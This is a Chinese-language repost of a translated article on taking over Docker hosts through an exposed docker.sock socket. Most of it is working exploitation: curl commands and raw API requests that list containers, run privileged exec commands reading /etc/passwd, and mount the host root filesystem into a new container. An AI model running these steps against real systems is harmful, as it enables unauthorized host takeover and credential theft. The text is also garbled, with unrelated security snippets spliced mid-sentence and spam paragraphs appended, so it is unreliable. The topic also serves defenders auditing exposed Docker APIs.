默许情况下,当在主机上实行docker指令时,对docker daemon的API调用是通过坐落/var/run/docker.sock的非联网UNIX套接字进行的。此套接字文件是控制在该主机上工作的任何docker容器的主API。可是,许多容器和攻略会要求你将该套接字文件作为容器中的一个卷揭露[1][2][3][4][5][6] ,或在某些情况下,将其露出在TCP端口[1][2][3]上。这样做是非常风险的,本地或长途露出/var/run/docker.sock的Docker容器很有或许会被恶意攻击者完全的接收。
到现在,我已发现了很多将docker.sock露出在互联
众所周知,系统中都存在本地处理帐户,如本地处理员帐户,root账户或应用程序为了能在全部系统中同享数据而特定设置了一个通用的账户暗码。网中的服务器。
其实这并不是一个新鲜的缝隙,在此之前早已有文章评论过关于露出docker.sock文件所带来的风险性的文章。而本文我将扩展这个问题,解说怎样运用它,以及怎样采纳 *** 应对这个问题。假设你在Twitter上重视了我,你将会在不久后获取到我共享的一个脚本,它能够协助你更轻松地进行运用。
你能做什么?运用露出的docker.sock文件,你能够在主机上工作的恣意容器中实行你想要的任何操作。通过本地或长途访问docker.sock文件,你能够像在主机上工作docker指令相同控制docker。
最简略的比如是运用官方docker客户端访问docker.sock文件(例如你可巧访问到了已设备docker客户端的容器,或是你能够设备docker客户端)。要运用它很简略,你能够工作惯例的docker指令,包含exec来获取shell:
root@9e50daaea94f:/# ls -alh /var/run/docker.sock #checking if socket is availiblesrw-rw---- 1 root 999 0 Apr 4 02:00 /var/run/d4、模块化:能够编写自己的C++插件来进行有用的网表分析和操作;ocker.sockroot@9e50daaea94f:/#那么,终究发作了什么呢? hostname9e50daaea94froot@9e50daaea94f:/# docker container lsCONTAINER ID NAMES509eebf873fb another_container9e50daaea94f current_containerroot@9e50daaea94f:/# docker exec -it another_container bash #running bash on the other containerroot@509eebf873fb:/# hostname509eebf873fb
但是,想要工作它,你有必要已在容器上设备RCE。即便运用RCE,大多数情况下你也或许无法访问docker客户端,以及设备docker客户端。假设是这种情况,你能够对/var/run/docker.sock进行原始http恳求。
虽然能够通过向docker.sock文件宣布HTTP恳求来在docker容器上运用RCE运用docker环境,但这种情况不太或许发生。更大的几率是找到通过TCP端口长途露出的docker.sock文件。
假设你需求工作未在以下列出的任何其他指令,docker API将能够很好的帮到你。
这里有一个CloudFormation脚本。你需求具有一个具有发动新EC2实例权限的AWS账户。完结后别忘了删去stack!
在容器上获取 RCE1)列出一切容器之一步是获取主机上一切容器的列表。为此,你需求实行以下http恳求:
GET /containers/json HTTP/1.1Host: <docker_host>:PORT
Curl 指令:
curl -i -s -X GET http://<dock namespace PSLesser_host>:PORT/containers/json
呼应:
HTTP/1.1 200 OKApi-Version: 1.39Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux)Date: Thu, 04 Apr 2019 05:56:03 GMTContent-Length: 1780[ { "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf", "Names":["/another_container"], "Image":"ubuntu:latest", "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499", "Command":"bash", "Created":1554357359, "Ports":[], "Labels":{}, "State":"running", "Status":"Up 3 seconds", "HostConfig":{"NetworkMode":"default"}, "NetworkSettings":{"Networks": ...
留心呼应中的“Id”字段,因为下一个指令将会用到它。
2) 创建一个 exec接下来,我们需求创建一个将在容器上实行的“exec”实例。你能够在此处输入要工作的指令。
恳求中的以下项目需求在恳求中进行更改:
Container ID Docker Host Port Cmd(我的示例中将 cat /etc/passwd)
POST /containers/<container_id>/exec HTTP/1.1Host: <docker_host>:PORTContent-Type: application/jsonContent-Length: 188{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}
Curl 指令:
curl -i -s -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://<docker_host>:PORT/containers/<container_id>/exec
呼应:
HTTP/1.1 201 CreatedApi-Version: 1.39Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux)Date: Fri, 05 Apr 2019 00:51:31 GMTContent-Length: 74{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
留心呼应中的“Id”字段,因为下一个指令将会用到它。
3)发动 exec现在创建了“exec”,我们需求工作它。
你需求更改恳求中的以下项目:
Exec ID Docker Host Port
POST /exec/<exec_id>/start HTTP/1.1Host: <docker_host>:PORTContent-Type: application/json{ "Detach": false, "Tty": false}
Curl 指令:
curl -i -s -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://<docker_host>:PORT/exec/<exec_id>/start
呼应:
HTTP/1.1 200 OKContent-Type: application/vnd.docker.raw-streamApi-Version: 1.39Docker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux)root:x:0:0:root:/r3、Recon-AD-Groups: 查询组政策和相应的特色;oot:/bin/bashdaemon:x:1:1:daemon:/usr/ *** in:/usr/ *** in/nologinbin:x:2:2:bin:/bin:/usr/ *** in/nologinsys:x:3:3:sys:/dev:/usr/ *** in/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/ *** in/nologinman:x:6:12:man:/var/cache/man:/usr/ *** in/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/ *** in/nologinmail:x:8:8:mail:/var/mail:/usr/ *** in/nologinnews:x:9:9:news:/var/spool/news:/usr/ *** in/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/ *** in/nologinproxy:x:13:13:proxy:/bin:/usr/ *** in/nologinwww-data:x:33:33:www-data:/var/www:/usr/ *** in/nologinbackup:x:34:34:backup:/var/backups:/usr/ *** in/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/ *** in/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/ *** in/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/ *** in/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/ *** in/nologin_apt:x:100:65534::/nonexistent:/usr/ *** in/nologin
接收主机发动一个docker容器,主机的根目录设备到容器的一个卷上,这样就能够对主机的文件系统实行指令。因为本文中所评论的缝隙答应你完全的控制API,因此能够控制docker主机。
留心:不要忘掉更改dockerhost,port和containerID
1)下载 ubuntu 镜像curl -i -s -k -X 'POST' -H 'Content-Type: application/json' http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2)运用已设备的卷创建容器curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' http://<docker_host>:PORT/containers/create
3)发动容器curl -i -s -k -X 'POST' -H 'Content-Type: application/json' http://<docker_host>:PORT/containers/<container_ID>/start
至此,你能够运用代码实行缝隙对新容器工作指令。假设要对Host OS工作指令,请不要忘掉增加chroot/hostos。
怎样修正?防止长途或在容器等级露出docker.sock文件(假设或许)
假设你需求长途供应套接字文件,请实行此处的操作
设置恰当的安全组和防火墙规矩,以阻挠不合法IP的访问
附录本地指令下面是一个CURL指令列表,假设API不能长途运用,但能够在本地运用,则能够工作这些指令。
1) 列出一切的容器
sudo curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json
2) 创建一个 exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://localhost/containers/<container_id>/exec
3) 发动 exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/<exec_id>/start
*参阅来历:dejandayoff,FB小编secist编译,转载请注明来自FreeBuf.COM
装机必备:经过露出的docker.sock文件接收容器
该东西不需求设备格外的依托组件,因此它能够直接在一切的类Unix系统上直接工作,其间包含: ]此外,我们可在各种系统日志中看到一些越狱的痕迹。关于任何越狱的提取 *** 来说,留下越狱痕迹是不可防止的,只是多少的问题。而完全防止iOS系统日志中越狱痕迹的仅有 *** 是通过DFU对设备进行映像,然后解密数据分区,但这在任何现代iOS设备上都是不或许完结的。
早年做CTF时关于算法辨认插件一贯颇有微词,一方面是Linux下没有适合的,第二个是算法辨认插件大部分只针对一个特定的常量数组进行辨认。因为在CTF的逆向中我们需求的是找到加密的主函数,所以我检验结合了yara的辨认原理,通过对常量数组的引用的查找,一步步递归构建调用树。调用树根部就是或许的暗码算法主函数。通过暴露的docker.sock文件接管容器
装机必备这儿我们需求创建一个专门的驱动程序,你或许会认为netsh端口重定向技术或许会有用,但其实不然。虽然创建一个驱动程序听起来如同并不是最志向的处理计划,但假设你搜索类似wfp端口联接之类的相关内容,你就会发现答案@agsolino现已给出了,接下来我们一起看一看怎样运用meterpreter和上述技术来重定向政策系统端口445的联接。下图闪现的是整个技术的作业机制:不幸的是,因为没有满意的权限,不能简略地检查test_scripts中包含的文件,所以有必要寻找另一种侵犯dev服务器的 *** 。继续探求不同的子网,我们遇到了一个NAS服务器:getuid
检查RAW套接字Cuckoo是现在运用得非常广泛的一种动态分析系统,其主要功用就是把恶意程序放到Cuckoo系统的虚拟机中,Cuckoo担任工作这些样本程序,并记载它们在虚拟环境中的行为,然后根据捕获到的行为去匹配一个指纹集(Signature),这个指纹集内界说了许多恶意程序的特征行为,比如在要害的方位写入注册表、或许在活络目录有读写文件的行为等等,终究根据匹配到的指纹对该样本程序进行打分,以点评其危害等级。比较于静态文件特征,行为特征某些情况下更能反应真实的危害情况,并且在没有静态特征的情况下动态特征或许是仅有可行的检测 *** 。%param1;装机必备
Method drwxr-xr-x 8 takboo staff 272B May 4 15:05 m *** 7627_surf/3.2 驱动保护及检测
PASS barcom.android.email.SecurityPolicy类的isActiveAdmin *** ,使其回来值为true;isActive *** ,使其回来值为true;getInactiveReasons *** ,使其回来值为0;remoteWipe *** ,使其不做任何操作;com.android.emailcommon.provider.Policy类的normalize *** ,使其初始调用为updatePolicy *** ;#include 通过暴露的docker.sock文件接管容器
装机必备三、360防火墙--防护等级★★★★#include //exit() function
4. OSX上设置VPS作为DNS服务器 return;编写一个简略的栈溢出程序stack.c:装机必备
auto slash(cynject.rfind('/'));# IN PVOID MemoryPointer,
1.从概要文件元数据中获得Windows版别
其他,QSEECOM_start_app函数运用比特于0x2C偏移的字,以便于核算.bXX文件的数量,对应上图中的ELF头中的e_phnum字段。通过暴露的docker.sock文件接管容器#include在IDA PRO中参与第三方PYTHON链接库 HyTrust—供应访问控制、战略实行、处理程序的硬化。在Immunity Debugger中,EIP也被41414141(AAAA级)所覆写,而它刚好匹配上我们的payload。需求留心的是,要记住在每次溃散之后重启WAR-FTPD,然后再进行下一次检验。
本文标题:装机必备:经过露出的docker.sock文件接收容器
微信这个软件大家并不陌生,可是微信上的聊天记录误删了该怎么恢复也变成了大家比较关心的问题,微信现在使用的范围也比较广泛,产生的很多重要聊天记录由于自己的一个失误操作误删很多努力了很久的数据就付诸东流了...
三、 传达特色MouseButtonPacket图 3.1.4 国外服务器IP段相关剖析3.57Repeater – 篡改而且重发恳求将HTML转换为文本后,特洛伊木马会疏忽呼应的前10个字符,并将字...
山地骑手非常喜欢在一些险象环生的地形上寻求刺激。为了应对崎岖复杂的路况,因此选用的山地车必须钢性好,超级“耐造”。 山地车的品牌有很多,出于安全考虑,大家还是应该选择最好的。从正规渠道购买的山地车,质...
跟着时代的不绝变迁,在社会经济有了必然的变革之后,各人的经济程度也有了相应的提高,今朝各人的糊口已经不范围于一日三餐吃饱就行了,此刻的糊口可以说越发富厚了,像芋圆这样的热门甜点已经呈此刻了各人糊口中,...
4、制作完成后,点击模拟启动,能够弹出新窗并模拟启动过程,说明制作成功。二、设置联想笔记本Y485从U盘启动1、将制作好的土豆PE启动的U盘插入USB接口2、联想笔记本Y485开机出现第一个界面时就按...
本文目录一览: 1、如何才能找到电脑黑客? 2、悬赏500元 笔记本丢了...很贵很心疼,跪求黑客,想通过mac地址查到IP信息,协助公安机关破案。 3、我被网络诈骗想找红客或黑客的帮助?...